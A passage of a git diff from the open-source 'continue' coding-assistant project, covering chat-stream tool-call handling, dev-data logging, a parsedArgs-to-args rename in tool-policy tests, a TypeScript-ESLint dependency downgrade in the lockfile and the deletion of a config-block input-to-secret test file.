e.message.toLowerCase().includes("premature close") - ) { - for (const tc of toolCallsToCancel) { - dispatch( - errorToolCall({ - toolCallId: tc.toolCallId, - output: [ - { - name: "Tool Call Error", - description: "Premature Close", - content: `"Premature Close" error: this tool call was aborted mid-stream because the arguments took too long to stream or there were network issues. Please re-attempt by breaking the operation into smaller chunks or trying something else`, - icon: "problems", - }, - ], + // Attach prompt log and end thinking for reasoning models + if (next.done && next.value) { + dispatch(addPromptCompletionPair([next.value])); + + try { + extra.ideMessenger.post("devdata/log", { + name: "chatInteraction", + data: { + prompt: next.value.prompt, + completion: next.value.completion, + modelProvider: selectedChatModel.underlyingProviderName, + modelName: selectedChatModel.title, + modelTitle: selectedChatModel.title, + sessionId: state.session.id, + ...(!!activeTools.length && { + tools: activeTools.map((tool) => tool.function.name), }), - ); - } - } else { - throw e; + ...(appliedRules.length > 0 && { + rules: appliedRules.map((rule) => ({ + id: getRuleId(rule), + rule: rule.rule, + slug: rule.slug, + })), + }), + }, + }); + } catch (e) { + console.error("Failed to send dev data interaction log", e); } } // Tool call sequence: // 1. Mark generating tool calls as generated const state1 = getState(); - if (streamAborter.signal.aborted || !state1.session.isStreaming) { - return; - } const originalToolCalls = selectCurrentToolCalls(state1); + const generatingCalls = originalToolCalls.filter( (tc) => tc.status === "generating", ); @@ -329,7 +285,7 @@ export const streamNormalInput = createAsyncThunk< if (originalToolCalls.length === 0 || anyRequireApproval) { dispatch(setInactive()); } else { - // auto stream cases increase thunk depth by 1 for debugging + // auto stream cases increase thunk depth by 1 const state4 = getState(); const generatedCalls4 = selectPendingToolCalls(state4); if (streamAborter.signal.aborted || !state4.session.isStreaming) { @@ -355,10 +311,7 @@ export const streamNormalInput = createAsyncThunk< for (const { toolCallId } of originalToolCalls) { unwrapResult( await dispatch( - streamResponseAfterToolCall({ - toolCallId, - depth: depth + 1, - }), + streamResponseAfterToolCall({ toolCallId, depth: depth + 1 }), ), ); } diff --git a/gui/src/redux/thunks/streamResponse_toolCalls.test.ts b/gui/src/redux/thunks/streamResponse_toolCalls.test.ts index f80da547327..e8a5393d8a3 100644 --- a/gui/src/redux/thunks/streamResponse_toolCalls.test.ts +++ b/gui/src/redux/thunks/streamResponse_toolCalls.test.ts @@ -1949,9 +1949,9 @@ describe("streamResponseThunk - tool calls", () => { data, ) => { if ( - "command" in data.parsedArgs && - typeof data.parsedArgs.command === "string" && - data.parsedArgs.command?.toLowerCase().startsWith("echo") + "command" in data.args && + typeof data.args.command === "string" && + data.args.command?.toLowerCase().startsWith("echo") ) { return { policy: "allowedWithPermission" }; } @@ -2010,7 +2010,7 @@ describe("streamResponseThunk - tool calls", () => { expect.objectContaining({ toolName: terminalName, basePolicy: "allowedWithoutPermission", - parsedArgs: { command: "echo hello" }, + args: { command: "echo hello" }, }), ); @@ -2109,7 +2109,7 @@ describe("streamResponseThunk - tool calls", () => { expect.objectContaining({ toolName: terminalName, basePolicy: "allowedWithPermission", - parsedArgs: { command: "ls" }, + args: { command: "ls" }, }), ); @@ -2268,7 +2268,7 @@ describe("streamResponseThunk - tool calls", () => { let numCalls = 0; mockTerminalIdeMessenger.responseHandlers["tools/evaluatePolicy"] = async (data) => { - const args = data.parsedArgs || {}; + const args = data.args || {}; numCalls++; if ( numCalls <= 1 && diff --git a/gui/src/util/navigation.ts b/gui/src/util/navigation.ts index fb35a9ac433..26d318aab78 100644 --- a/gui/src/util/navigation.ts +++ b/gui/src/util/navigation.ts @@ -3,7 +3,7 @@ export type ConfigTab = | "models" | "rules" | "tools" - | "configs" + | "agents" | "organizations" | "indexing" | "settings" @@ -29,7 +29,7 @@ export const CONFIG_ROUTES = { MODELS: buildConfigRoute("models"), RULES: buildConfigRoute("rules"), TOOLS: buildConfigRoute("tools"), - CONFIGS: buildConfigRoute("configs"), + AGENTS: buildConfigRoute("agents"), ORGANIZATIONS: buildConfigRoute("organizations"), INDEXING: buildConfigRoute("indexing"), SETTINGS: buildConfigRoute("settings"), diff --git a/package-lock.json b/package-lock.json index 88c4caf915f..3989f3c0032 100644 --- a/package-lock.json +++ b/package-lock.json @@ -6,7 +6,7 @@ "": { "name": "continue", "devDependencies": { - "@typescript-eslint/parser": "^8.40.0", + "@typescript-eslint/parser": "^7.8.0", "concurrently": "^9.1.2", "eslint-plugin-import": "^2.29.1", "husky": "^9.1.7", @@ -229,90 +229,60 @@ "license": "MIT" }, "node_modules/@typescript-eslint/parser": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.1.tgz", - "integrity": "sha512-6JSSaBZmsKvEkbRUkf7Zj7dru/8ZCrJxAqArcLaVMee5907JdtEbKGsZ7zNiIm/UAkpGUkaSMZEXShnN2D1HZA==", + "version": "7.18.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-7.18.0.tgz", + "integrity": "sha512-4Z+L8I2OqhZV8qA132M4wNL30ypZGYOQVBfMgxDH/K5UX0PNqTu1c6za9ST5r9+tavvHiTWmBnKzpCJ/GlVFtg==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "@typescript-eslint/scope-manager": "8.46.1", - "@typescript-eslint/types": "8.46.1", - "@typescript-eslint/typescript-estree": "8.46.1", - "@typescript-eslint/visitor-keys": "8.46.1", + "@typescript-eslint/scope-manager": "7.18.0", + "@typescript-eslint/types": "7.18.0", + "@typescript-eslint/typescript-estree": "7.18.0", + "@typescript-eslint/visitor-keys": "7.18.0", "debug": "^4.3.4" }, "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "node": "^18.18.0 || >=20.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.1.tgz", - "integrity": "sha512-FOIaFVMHzRskXr5J4Jp8lFVV0gz5ngv3RHmn+E4HYxSJ3DgDzU7fVI1/M7Ijh1zf6S7HIoaIOtln1H5y8V+9Zg==", - "dev": true, - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.46.1", - "@typescript-eslint/types": "^8.46.1", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" + "eslint": "^8.56.0" }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" + "peerDependenciesMeta": { + "typescript": { + "optional": true + } } }, "node_modules/@typescript-eslint/scope-manager": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.1.tgz", - "integrity": "sha512-weL9Gg3/5F0pVQKiF8eOXFZp8emqWzZsOJuWRUNtHT+UNV2xSJegmpCNQHy37aEQIbToTq7RHKhWvOsmbM680A==", + "version": "7.18.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.18.0.tgz", + "integrity": "sha512-jjhdIE/FPF2B7Z1uzc6i3oWKbGcHb87Qw7AWj6jmEqNOfDFbJWtjt/XfwCpvNkpGWlcJaog5vTR+VV8+w9JflA==", "dev": true, + "license": "MIT", "dependencies": { - "@typescript-eslint/types": "8.46.1", - "@typescript-eslint/visitor-keys": "8.46.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "@typescript-eslint/types": "7.18.0", + "@typescript-eslint/visitor-keys": "7.18.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.1.tgz", - "integrity": "sha512-X88+J/CwFvlJB+mK09VFqx5FE4H5cXD+H/Bdza2aEWkSb8hnWIQorNcscRl4IEo1Cz9VI/+/r/jnGWkbWPx54g==", - "dev": true, "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "node": "^18.18.0 || >=20.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/types": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.1.tgz", - "integrity": "sha512-C+soprGBHwWBdkDpbaRC4paGBrkIXxVlNohadL5o0kfhsXqOC6GYH2S/Obmig+I0HTDl8wMaRySwrfrXVP8/pQ==", + "version": "7.18.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.18.0.tgz", + "integrity": "sha512-iZqi+Ds1y4EDYUtlOOC+aUmxnE9xS/yCigkjA7XpTKV6nCBd3Hp/PRGGmdwnfkV2ThMyYldP1wRpm/id99spTQ==", "dev": true, + "license": "MIT", "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "node": "^18.18.0 || >=20.0.0" }, "funding": { "type": "opencollective", @@ -320,62 +290,52 @@ } }, "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.1.tgz", - "integrity": "sha512-uIifjT4s8cQKFQ8ZBXXyoUODtRoAd7F7+G8MKmtzj17+1UbdzFl52AzRyZRyKqPHhgzvXunnSckVu36flGy8cg==", + "version": "7.18.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.18.0.tgz", + "integrity": "sha512-aP1v/BSPnnyhMHts8cf1qQ6Q1IFwwRvAQGRvBFkWlo3/lH29OXA3Pts+c10nxRxIBrDnoMqzhgdwVe5f2D6OzA==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "@typescript-eslint/project-service": "8.46.1", - "@typescript-eslint/tsconfig-utils": "8.46.1", - "@typescript-eslint/types": "8.46.1", - "@typescript-eslint/visitor-keys": "8.46.1", + "@typescript-eslint/types": "7.18.0", + "@typescript-eslint/visitor-keys": "7.18.0", "debug": "^4.3.4", - "fast-glob": "^3.3.2", + "globby": "^11.1.0", "is-glob": "^4.0.3", "minimatch": "^9.0.4", "semver": "^7.6.0", - "ts-api-utils": "^2.1.0" + "ts-api-utils": "^1.3.0" }, "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "node": "^18.18.0 || >=20.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" + "peerDependenciesMeta": { + "typescript": { + "optional": true + } } }, "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.46.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.1.tgz", - "integrity": "sha512-ptkmIf2iDkNUjdeu2bQqhFPV1m6qTnFFjg7PPDjxKWaMaP0Z6I9l30Jr3g5QqbZGdw8YdYvLp+XnqnWWZOg/NA==", + "version": "7.18.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.18.0.tgz", + "integrity": "sha512-cDF0/Gf81QpY3xYyJKDV14Zwdmid5+uuENhjH2EqFaF0ni+yAyq/LzMaIJdhNJXZI7uLzwIlA+V7oWoyn6Curg==", "dev": true, + "license": "MIT", "dependencies": { - "@typescript-eslint/types": "8.46.1", - "eslint-visitor-keys": "^4.2.1" + "@typescript-eslint/types": "7.18.0", + "eslint-visitor-keys": "^3.4.3" }, "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + "node": "^18.18.0 || >=20.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } }, - "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, "node_modules/@ungap/structured-clone": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", @@ -517,6 +477,16 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/array.prototype.findlastindex": { "version": "1.2.6", "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", @@ -637,6 +607,7 @@ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, + "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" } @@ -1048,6 +1019,19 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -1493,7 +1477,6 @@ "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true, "license": "Apache-2.0", - "peer": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" }, @@ -1639,6 +1622,7 @@ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", "dev": true, + "license": "MIT", "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", @@ -1655,6 +1639,7 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, + "license": "ISC", "dependencies": { "is-glob": "^4.0.1" }, @@ -2012,6 +1997,27 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", @@ -2159,7 +2165,6 @@ "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">= 4" } @@ -3094,6 +3099,7 @@ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", "dev": true, + "license": "MIT", "engines": { "node": ">= 8" } @@ -3143,6 +3149,7 @@ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", "dev": true, + "license": "ISC", "dependencies": { "brace-expansion": "^2.0.1" }, @@ -3455,6 +3462,16 @@ "dev": true, "license": "MIT" }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", @@ -3874,10 +3891,11 @@ } }, "node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", "dev": true, + "license": "ISC", "bin": { "semver": "bin/semver.js" }, @@ -4059,6 +4077,16 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/slice-ansi": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz", @@ -4311,15 +4339,16 @@ } }, "node_modules/ts-api-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", - "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.4.3.tgz", + "integrity": "sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==", "dev": true, + "license": "MIT", "engines": { - "node": ">=18.12" + "node": ">=16" }, "peerDependencies": { - "typescript": ">=4.8.4" + "typescript": ">=4.2.0" } }, "node_modules/tsconfig-paths": { diff --git a/package.json b/package.json index 8f5aa040ee6..ceb907fddfb 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "*.{js,jsx,ts,tsx,json,css,md}": "prettier --write" }, "devDependencies": { - "@typescript-eslint/parser": "^8.40.0", + "@typescript-eslint/parser": "^7.8.0", "concurrently": "^9.1.2", "eslint-plugin-import": "^2.29.1", "husky": "^9.1.7", diff --git a/packages/config-yaml/src/load/injectBlocks.test.ts b/packages/config-yaml/src/load/injectBlocks.test.ts deleted file mode 100644 index 14feb97dc74..00000000000 --- a/packages/config-yaml/src/load/injectBlocks.test.ts +++ /dev/null @@ -1,538 +0,0 @@ -import { Registry } from "../interfaces/index.js"; -import { PackageIdentifier } from "../interfaces/slugs.js"; -import { ConfigYaml } from "../schemas/index.js"; -import { unrollBlocks } from "./unroll.js"; - -// Mock Registry for testing -class MockRegistry implements Registry { - private content: Record = {}; - - setContent(id: string, content: string) { - this.content[id] = content; - } - - async getContent(id: PackageIdentifier): Promise { - const key = - id.uriType === "file" - ? id.fileUri - : `${id.fullSlug.ownerSlug}/${id.fullSlug.packageSlug}`; - if (this.content[key]) { - return this.content[key]; - } - throw new Error(`Content not found for ${key}`); - } -} - -describe("injectBlocks with input-to-secret conversion", () => { - let mockRegistry: MockRegistry; - - beforeEach(() => { - mockRegistry = new MockRegistry(); - }); - - it("converts inputs to secrets in injected model blocks", async () => { - // Set up a basic assistant config - const assistant: ConfigYaml = { - name: "Test Assistant", - version: "1.0.0", - }; - - // Set up an injected block with input template variables in model - // Note: Block schema requires exactly 1 element in arrays - const injectedBlockContent = ` -name: OpenAI Block -version: 1.0.0 -schema: v1 -models: - - name: gpt-4 - provider: openai - model: gpt-4 - apiKey: \${{ inputs.openaiKey }} - apiBase: \${{ inputs.customEndpoint }} -`; - - const injectedBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/openai-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/openai-block.yaml", - injectedBlockContent, - ); - - // Unroll with injected blocks - const result = await unrollBlocks( - assistant, - mockRegistry, - [injectedBlockId], // inject the block - undefined, // no allowlist - undefined, // no blocklist - undefined, // no request options - ); - - expect(result.config).toBeDefined(); - expect(result.config!.models).toBeDefined(); - expect(result.config!.models!.length).toBe(1); - - // Check that inputs were converted to secrets in the model - const model = result.config!.models![0]!; - expect(model.apiKey).toBe("${{ secrets.openaiKey }}"); - expect(model.apiBase).toBe("${{ secrets.customEndpoint }}"); - expect(model.name).toBe("gpt-4"); - expect(model.provider).toBe("openai"); - expect(model.model).toBe("gpt-4"); - - // Check that no input variables remain - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.openaiKey"); - expect(configStr).not.toContain("inputs.customEndpoint"); - }); - - it("converts inputs to secrets in injected rule blocks", async () => { - const assistant: ConfigYaml = { - name: "Rule Test Assistant", - version: "1.0.0", - }; - - const injectedBlockContent = ` -name: Style Rules Block -version: 1.0.0 -schema: v1 -rules: - - "Use \${{ inputs.codeStyle }} formatting consistently" -`; - - const injectedBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/rules-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/rules-block.yaml", - injectedBlockContent, - ); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [injectedBlockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - expect(result.config!.rules).toBeDefined(); - expect(result.config!.rules!.length).toBe(1); - - // Check that input was converted to secret in the rule - // Note: string rules get wrapped in objects with sourceFile when injected - const rule = result.config!.rules![0]!; - if (typeof rule === "string") { - expect(rule).toBe("Use ${{ secrets.codeStyle }} formatting consistently"); - } else { - expect(rule.rule).toBe( - "Use ${{ secrets.codeStyle }} formatting consistently", - ); - } - - // Check that no input variables remain - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.codeStyle"); - }); - - it("converts inputs to secrets in injected docs blocks", async () => { - const assistant: ConfigYaml = { - name: "Docs Test Assistant", - version: "1.0.0", - }; - - const injectedBlockContent = ` -name: Dynamic Docs Block -version: 1.0.0 -schema: v1 -docs: - - name: project-docs - startUrl: \${{ inputs.docsBaseUrl }}/api - rootUrl: \${{ inputs.docsBaseUrl }} - faviconUrl: \${{ inputs.docsBaseUrl }}/favicon.ico -`; - - const injectedBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/docs-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/docs-block.yaml", - injectedBlockContent, - ); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [injectedBlockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - expect(result.config!.docs).toBeDefined(); - expect(result.config!.docs!.length).toBe(1); - - // Check that inputs were converted to secrets in the doc config - const doc = result.config!.docs![0]!; - expect(doc.startUrl).toBe("${{ secrets.docsBaseUrl }}/api"); - expect(doc.rootUrl).toBe("${{ secrets.docsBaseUrl }}"); - expect(doc.faviconUrl).toBe("${{ secrets.docsBaseUrl }}/favicon.ico"); - expect(doc.name).toBe("project-docs"); - - // Check that no input variables remain - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.docsBaseUrl"); - }); - - it("converts inputs to secrets in injected prompt blocks", async () => { - const assistant: ConfigYaml = { - name: "Prompt Test Assistant", - version: "1.0.0", - }; - - const injectedBlockContent = ` -name: Dynamic Prompt Block -version: 1.0.0 -schema: v1 -prompts: - - name: custom-prompt - description: "A customizable prompt" - prompt: "You are a \${{ inputs.roleType }} assistant. Use \${{ inputs.responseStyle }} responses." -`; - - const injectedBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/prompt-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/prompt-block.yaml", - injectedBlockContent, - ); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [injectedBlockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - expect(result.config!.prompts).toBeDefined(); - expect(result.config!.prompts!.length).toBe(1); - - // Check that inputs were converted to secrets in the prompt - const prompt = result.config!.prompts![0]!; - expect(prompt.prompt).toBe( - "You are a ${{ secrets.roleType }} assistant. Use ${{ secrets.responseStyle }} responses.", - ); - expect(prompt.name).toBe("custom-prompt"); - expect(prompt.description).toBe("A customizable prompt"); - - // Check that no input variables remain - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.roleType"); - expect(configStr).not.toContain("inputs.responseStyle"); - }); - - it("handles multiple injected blocks of different types", async () => { - const assistant: ConfigYaml = { - name: "Multi-Block Assistant", - version: "1.0.0", - }; - - // Model block with inputs - const modelBlockContent = ` -name: API Model Block -version: 1.0.0 -schema: v1 -models: - - name: custom-api - provider: openai - model: \${{ inputs.modelName }} - apiKey: \${{ inputs.apiKey }} -`; - - // Rules block with inputs - const rulesBlockContent = ` -name: Dynamic Rules Block -version: 1.0.0 -schema: v1 -rules: - - "Follow \${{ inputs.codingStandard }} conventions" -`; - - const modelBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/model-block.yaml", - }; - - const rulesBlockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/rules-block.yaml", - }; - - mockRegistry.setContent("file:///test/model-block.yaml", modelBlockContent); - mockRegistry.setContent("file:///test/rules-block.yaml", rulesBlockContent); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [modelBlockId, rulesBlockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - - // Check model block conversion - expect(result.config!.models).toBeDefined(); - expect(result.config!.models!.length).toBe(1); - const model = result.config!.models![0]!; - expect(model.model).toBe("${{ secrets.modelName }}"); - expect(model.apiKey).toBe("${{ secrets.apiKey }}"); - - // Check rules block conversion - expect(result.config!.rules).toBeDefined(); - expect(result.config!.rules!.length).toBe(1); - const rule = result.config!.rules![0]!; - if (typeof rule === "string") { - expect(rule).toBe("Follow ${{ secrets.codingStandard }} conventions"); - } else { - expect(rule.rule).toBe( - "Follow ${{ secrets.codingStandard }} conventions", - ); - } - - // Verify no input variables remain - const configStr = JSON.stringify(result.config); - expect(configStr).not.toContain("inputs.modelName"); - expect(configStr).not.toContain("inputs.apiKey"); - expect(configStr).not.toContain("inputs.codingStandard"); - }); - - it("handles blocks with no template variables", async () => { - const assistant: ConfigYaml = { - name: "Static Assistant", - version: "1.0.0", - }; - - const staticBlockContent = ` -name: Static Block -version: 1.0.0 -schema: v1 -models: - - name: static-model - provider: ollama - model: llama3.1 - defaultCompletionOptions: - temperature: 0.5 - stream: false -`; - - const blockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/static-block.yaml", - }; - - mockRegistry.setContent( - "file:///test/static-block.yaml", - staticBlockContent, - ); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [blockId], - undefined, - undefined, - undefined, - ); - - expect(result.config).toBeDefined(); - - // Check that static content is preserved as-is - expect(result.config!.models).toBeDefined(); - expect(result.config!.models!.length).toBe(1); - const model = result.config!.models![0]!; - expect(model.name).toBe("static-model"); - expect(model.provider).toBe("ollama"); - expect(model.model).toBe("llama3.1"); - expect(model.defaultCompletionOptions?.temperature).toBe(0.5); - expect(model.defaultCompletionOptions?.stream).toBe(false); - }); - - it("preserves non-input template variables", async () => { - const assistant: ConfigYaml = { - name: "Mixed Variables Assistant", - version: "1.0.0", - }; - - const mixedBlockContent = ` -name: Mixed Variables Block -version: 1.0.0 -schema: v1 -rules: - - "Input: \${{ inputs.userSetting }} | Secret: \${{ secrets.apiKey }} | Continue: \${{ continue.workspaceRoot }}" -`; - - const blockId: PackageIdentifier = { - uriType: "file", - fileUri: "file:///test/mixed-block.yaml", - }; - - mockRegistry.setContent("file:///test/mixed-block.yaml", mixedBlockContent); - - const result = await unrollBlocks( - assistant, - mockRegistry, - [blockId], - undefined, - undefined, 